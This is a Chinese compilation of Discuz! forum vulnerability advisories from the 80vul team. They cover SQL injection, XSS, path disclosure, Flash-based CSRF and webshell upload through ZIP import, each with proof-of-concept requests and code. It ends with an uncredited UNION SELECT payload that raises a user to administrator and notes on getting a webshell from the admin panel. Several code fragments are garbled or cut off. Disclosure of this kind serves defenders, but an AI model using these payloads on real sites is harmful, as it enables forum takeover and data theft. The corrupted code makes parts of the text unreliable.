下面是小编为大家整理的Discuz! trade.php 数据库注射 bug(共含10篇),供大家参考借鉴,希望可以帮助您。同时,但愿您也能像本文投稿人“浮生一日君”一样,积极向本站投稿分享好文章。
由于Discuz!d的trade.php里的$message处理不严格导致引起数据库操作错误,通过SODB--06而导致xss攻击及数据库信息泄露的漏洞.
author: 80vul-B
team:www.80vul.com
一 分析
文件trade.php:
$message = trim($message);
if($message) {
$message = daddslashes($tradelog['message'], 1).“ttt”.$discuz_uid.“t”.$discuz_user.“t”.$timestamp.“t”.nl2br(strip_tags(substr($message, 0, 200)));
//$message用substr处理了下,取前200个字符
} else {
$message = daddslashes($tradelog['message'], 1);
}
$db->query(“UPDATE {$tablepre}tradelog SET status='$offlinestatus', lastupdate='$timestamp', message='$message' WHERE rderid='$orderid'”);
//这个地方$message直接进入sql语句了:)
showmessage('trade_orderstatus_updated', 'trade.php?orderid='.$orderid);
}把199个A和一个'赋值给message,经过gpc处理后$message的值为199个A和',在经过substr的处理变为199个A和,这样带入sql语句,执行时就会报错了:).由于$orderid被过滤导致没有办法利用这个进行'有效'的sql注射漏洞,但是可以利用mysql的错误信息得到表名的前缀等信息,还有就是可能通过
二 利用
poc:
POST discuz/trade.php/?orderid=20081101133833f8ePgzOquj6UdcKUVq HTTP/1.1
Accept: */*
Accept-Language: zh-cn
Referer: 127.0.0.1/discuz/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)
Host: 127.0.0.1
Cookie: pbK_auth=488bbzQZdkZGTyZFGMWesQH%2BAKOb5YMEQOhJ6qQC9YuWhZWtHn4wduYOvNf9b%2BLYe7g3rPPH%2FEi1HspTnSCZow
Content-Length: 426
Content-Type: application/x-www-form-urlencoded
Connection: Close
formhash=b674a3cd&password=123456&message=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%27&offlinestatus=4&offlinesubmit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2&newnumber=1&newbuyername=80vul&newbuyercontact=80vul&newbuyerzip=12345&newbuyerphone=123122&newbuyermobile=121312312三 补丁[fix]
等待官方补丁
由于Discuz!d的include/moderation.inc.php存在一个'二次攻击'导致数据库'注射'的bug
author: 80vul-B
team:www.80vul.com
一 分析
在文件include/moderation.inc.php里代码:
$threadlist = $loglist = array;
if($tids = implodeids($moderate)) {
$query = $db->query(“SELECT * FROM {$tablepre}threads WHERE tid IN ($tids) AND fid='$fid' AND displayorder>='0' AND digest>='0' LIMIT $tpp”);
while($thread = $db->fetch_array($query)) {
...
$threadlist[$thread['tid']] = $thread;
...
foreach($threadlist as $tid => $thread) {
...
if($type == 'redirect') {
$db->query(“INSERT INTO {$tablepre}threads (fid, readperm, iconid, author, authorid, subject, dateline, lastpost, lastposter, views, replies, displayorder, digest, closed, special, attachment)
VALUES ('$thread[fid]', '$thread[readperm]', '$thread[iconid]', '”.addslashes($thread['author']).“', '$thread[authorid]', '”.addslashes($thread['subject']).“', '$thread[dateline]', '$thread[dblastpost]', '$thread[lastposter]', '0', '0', '0', '0', '$thread[tid]', '0', '0')”);
这个比较明显,从数据库查询出的值$thread[lastposter]直接带入了insert语句中,导致了注射:)这个看上去比上面的那个用处大些,其实有很多的限制.首先$thread[lastposter]是从数据库中查询出来的值,有字数限制[不能大于15个字符];其次,这个地方需要版主权限才能操作.
二 利用
注册新用户,用户名为80vul',发表新回复,然后用拥有版主权限的账号将此帖转移,移动方式选为[移动主题并在原来的版块中保留转向],和上面的效果一样,执行时数据库报错了:)
三 补丁[fix]
等待官方补丁.
由于Discuz!在处理数据库的错误信息时对$GLOBALS['PHP_SELF']没有过滤,导致在让数据库出错的情况下导致xss攻击.
author: 80vul-B
team:www.80vul.com
一 分析
在文件includedb_mysql_error.inc.php里代码:
if($message) {
$errmsg = “Discuz! info: $messagenn”;
}
if(isset($GLOBALS['_DSESSION']['discuz_user'])) {
$errmsg .= “User: ”.htmlspecialchars($GLOBALS['_DSESSION']['discuz_user']).“n”;
}
$errmsg .= “Time: ”.gmdate(“Y-n-j g:ia”, $timestamp + ($GLOBALS['timeoffset'] * 3600)).“n”;
$errmsg .= “Script: ”.$GLOBALS['PHP_SELF'].“nn”;
if($sql) {
$errmsg .= “SQL: ”.htmlspecialchars($sql).“n”;
}
$errmsg .= “Error: $dberrorn”;
$errmsg .= “Errno.: $dberrno”;
$GLOBALS['PHP_SELF']确实过滤,导致在出现sql错误信息时利用$GLOBALS['PHP_SELF']进行xss攻击.二 利用
需要结合其他的让出现错误信息的漏洞.
三 补丁[fix]
过滤$GLOBALS['PHP_SELF']
由于Discuz!的后台登陆文件$url_forward没有过滤导致一个严重的xss bug.
author: 80vul-B
team:www.80vul.com
漏洞存在于文件admin/login.inc.php里$url_forward没有被过滤导致xss漏洞:
poc:
127.0.0.1/discuz/admincp.php?url_forward=%22%3E%3Cscript%3Ealert(/xss/)%3C/script%3E
[管理员或版主前台登录,但未登录后台时触发]
author: ring04h
team:www.80vul.com
[该漏洞由ring04h发现并且投递,thx]
由于Discuz!的admindatabase.inc.php里action=importzip解压zip文件时,导致可以得到webshell.
一 分析
在文件admindatabase.inc.php里代码:
.....
elseif($operation == 'importzip') {
require_once DISCUZ_ROOT.'admin/zip.func.php';
$unzip = new SimpleUnzip;
$unzip->ReadFile($datafile_server);
if($unzip->Count() == 0 || $unzip->GetError(0) != 0 || !preg_match(“/.sql$/i”, $importfile = $unzip->GetName(0))) {
cpmsg('database_import_file_illegal', '', 'error');
}
$identify = explode(',', base64_decode(preg_replace(“/^# Identify:s*(w+).*/s”, “1”, substr($unzip->GetData(0), 0, 256))));
$confirm = !empty($confirm) ? 1 : 0;
if(!$confirm && $identify[1] != $version) {
cpmsg('database_import_confirm', 'admincp.php?action=database&operation=importzip&datafile_server=$datafile_server&importsubmit=yes&confirm=yes', 'form');
}
$sqlfilecount = 0;
foreach($unzip->Entries as $entry) {
if(preg_match(“/.sql$/i”, $entry->Name)) {
$fp = fopen('./forumdata/'.$backupdir.'/'.$entry->Name, 'w');
fwrite($fp, $entry->Data);
fclose($fp);
$sqlfilecount++;
}
}
......
注意2点
1. preg_match(“/.sql$/i”, $importfile = $unzip->GetName(0)) 可以利用apache的特性如081127_k4pFUs3C-1.php.sql这样类似的文件.
2. $identify = explode(',', base64_decode(preg_replace(“/^# Identify:s*(w+).*/s”, “1”, substr($unzip->GetData(0), 0, 256)))); 所以要注意文件格式:[可以先备用下然后修改打包为zip]
# Identify: MTIyNzc1NzEyNSw2LjEuMCxkaXNjdXosbXVsdGl2b2wsMQ==
#
#
# Discuz! Multi-Volume Data Dump Vol.1
# Version: Discuz! 6.1.0
# Time: -11-27 11:38
# Type: discuz
# Table Prefix: cdb_
二 利用
提交:
<6.0 :admincp.php?action=importzip&datafile_server=./附件路径/附件名.zip&importsubmit=yes
=6.1 :admincp.php?action=database&operation=importzip&datafile_server=./附件路径/附件名称.zip&importsubmit=yes&frames=yes
三 补丁[fix]
缺
由于Discuz!的member.php对$listgid并没有初始化导致一个严重的xss bug.
author:80vul-B
team:www.80vul.com
一 分析
member.php代码:
if(!empty($listgid) && ($listgid == intval($_GET['listgid']))) {//这里用的等于[==]而不是全等[===]进行的比较,且$listgid并没有初始化:)0 = $adminid == 1 ? 'grouplist' : 0;} else {$listgid = '';}...$multipage = multi($num, $memberperpage, $page, “member.php?action=list&listgid=$listgid&srchmem=”.rawurlencode($srchmem).“&order=$order&type=0”, $membermaxpages);
二 利用
poc:
poc:
www.80vul.com/bbs/member.php?action=list&listgid=%22%3E%3Cscript%3Ealert(/xss/)%3C/script%3E
会员列表页面存在分页时触发
三 补丁[fix]
刚发布的dz7 bt版本[1]已经fix这个漏洞了:
if(!empty($listgid) && ($listgid = intval($_GET['listgid']))) {0 = $adminid == 1 ? 'grouplist' : 0;} else {$listgid = '';}
[1]:download.comsenz.com/Discuz/7.0.0Beta/Discuz_7_Beta_SC_GBK.zip
由于Discuz! cache file的数组$_DCACHE,$_CACHE等的变量名没有初始化导致路径信息泄露.
author:80vul-A
team:www.80vul.com
一 分析
目录uc_clientdatacache,forumdatacache等下面的文件里对如:
$_CACHE['settings'] = array ('accessemail' => '','censoremail' => '','censorusername' => '','dateformat' => 'y-n-j','doublee' => '1','nextnotetime' => '0','timeoffset' => '28800',);$_DCACHE['settings'] = array ('accessemail' => '','adminipaccess' => '','admode' => '1','archiverstatus' => '1','attachbanperiods' => '','attachimgpost' => '1',
数组$_DCACHE,$_CACHE等没有初始化,其实dz的安全人员已经考虑到了这个问题,如在includecommon.inc.php
$_DCOOKIE = $_DSESSION = $_DCACHE = $_DPLUGIN = $advlist = array;
但是想对于独立的Discuz! cache file并没有初始化,当我们提交?_CACHE=1 或者_DCACHE=2 导致错误而暴露路径等信息.
二 利用
poc如:
www.80vul.com/bbs/forumdata/cache/cache_usergroups.php?_DCACHE=1
Notice: Array to string conversion in xxxforumdatacachecache_usergroups.php on line 6
三 补丁[fix]
等待官方补丁.
由于Discuz!的includecache.func.php缺少访问限制导致版本及补丁消息的泄露.
author: 80vul-A
team:www.80vul.com
漏洞存在于文件includecache.func.php里的代码如下:
define('DISCUZ_KERNEL_VERSION', '6.1.0');
define('DISCUZ_KERNEL_RELEASE', '0418');
if(isset($_GET['kernel_version'])) {
exit('Crossday Discuz! Board
Developed by Comsenz Inc.
Version: '.DISCUZ_KERNEL_VERSION.'
Release: '.DISCUZ_KERNEL_RELEASE);
} elseif(!defined('IN_DISCUZ')) {
exit('Access Denied');
}提交kernel_version的时会显示版本及补丁信息,如果攻击者结合google-hacking等技术很容易找到没有升级的程序,导致mass类攻击.
poc:
www.discuz.net/include/cache.func.php?kernel_version=1
显示:
Crossday Discuz! Board
Developed by Comsenz Inc.
Version: 7.0.0
Release: 20081031
[难道官方是打算1031发布7.00,不知道杂的又推迟了:(]
由于Discuz!对flash跨域策略文件及上传图片文件处理不严导致可以绕过formhash及Referer的限制,导致csrf攻击.
author: 80vul-A
team:www.80vul.com
Discuz!的安全人员已经意识到csrf方面的漏洞了采用了formhash及判断Referer等来防止外部提交,如果看过[1]一文的朋友应该意识到我们可以通过flash来进行csrf攻击.
一 分析
首先我们看Discuz!6开始自带了crossdomain.xml文件,代码如下:
import RegExp;
var xml:XML = new XML;
xml.onData = function(s) {
tb1.text = getFirstMatch(new RegExp(“
}
System.security.loadPolicyFile(“192.168.1.102/crossdomain.xml”);
xml.load(“192.168.1.102/d.txt”);
熟悉as安全的人知道,flash已经修补了http头定义的漏洞,也就是说我们没有办法利用下面的代码:.addRequestHeader(“Referer: foo/index.php?foo”,“www.80vul.com”);
来伪造Referer,但是我们可以通过类似于SODB-2008-01里的利用通过把flash改为gif后缀上传到目标来突破,然后我们通过html远程调用这个gif来突破.
二 利用
POC[测试Discuz!5.5 其他版本的请自己编写]如下:
flash的原文件:www.80vul.com/dzvul/sodb/01/sodb-2008-02.fla
as代码如下:
import RegExp;
System.security.loadPolicyFile(“www.80vul.com/bbs/crossdomain.xml”);
var xml:XML = new XML();
xml.onData = function(s) {
tb1.text = getFirstMatch(new RegExp(“
}
System.security.loadPolicyFile(“www.80vul.com/bbs/crossdomain.xml”);
xml.load(“www.80vul.com/bbs/admincp.php?action=members”);
function getFirstMatch(re, s, i) {
var m = null;
if ((m = re.exec(s)) != null) {
return m[i];
}
}
远程调用的html:
三 补丁
等待官方补丁.
[删除crossdomain.xml不可以完全修补该漏洞,crossdomain.xml可以为容易文件名loadPolicyFile()调用就行,所以攻击者可以通过上传等上传改名了的crossdomain.xml]
四 参考
[1]:superhei.blogbus.com/logs/13463505.html
神秘小强&1943
插件版本:2.2 2.5
注册一个论坛ID
IE提交下面代码
blackband.php?mode=yule&action=enjoy&id=2 and 1=2 union select 1,0x2D312C67726F757069643D312C61646D696E69643D31,3,4/
提升到管理员
discuz7.0.0后台得webshell方法
/Article/200907/40200.html
如果是discuz6.0 的后台就提交
admincp.php?action=styles&edit=1
最后得到的webshell地址还是forumdata/cache/style_1.php
ps:貌似xxbing就是这样日t00ls的?
★ 注射室年终总结
★ 数据库面试题